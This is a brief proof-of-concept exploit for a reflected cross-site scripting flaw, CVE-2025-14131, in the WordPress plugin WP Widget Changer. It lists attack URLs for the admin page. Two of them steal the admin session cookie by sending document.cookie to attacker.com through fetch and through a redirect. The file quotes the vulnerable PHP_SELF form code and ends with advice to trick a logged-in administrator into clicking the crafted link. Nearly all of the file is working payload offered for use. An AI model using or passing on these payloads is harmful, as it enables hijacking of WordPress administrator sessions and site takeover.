CVE-2025-14131

<!-- CVE-2025-14131 PoC - Reflected XSS in WP Widget Changer --> <!-- Attack URL: Replace 'example.com' with target domain --> <!-- http://example.com/wp-admin/admin.php/<script>alert(document.domain)</script> <!-- More sophisticated payload --> http://example.com/wp-admin/admin.php/<img src=x onerror=fetch('https://attacker.com/log?cookie='+document.cookie)> <!-- Steal admin session --> http://example.com/wp-admin/admin.php/<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- The vulnerable code (widget_changer.php line ~162) --> <!-- $PHP_SELF = $_SERVER['PHP_SELF']; ?> <form method="post" action="<?php echo $PHP_SELF; ?>"> <!-- <!-- Usage: Trick user into clicking crafted URL while logged into WordPress admin panel -->

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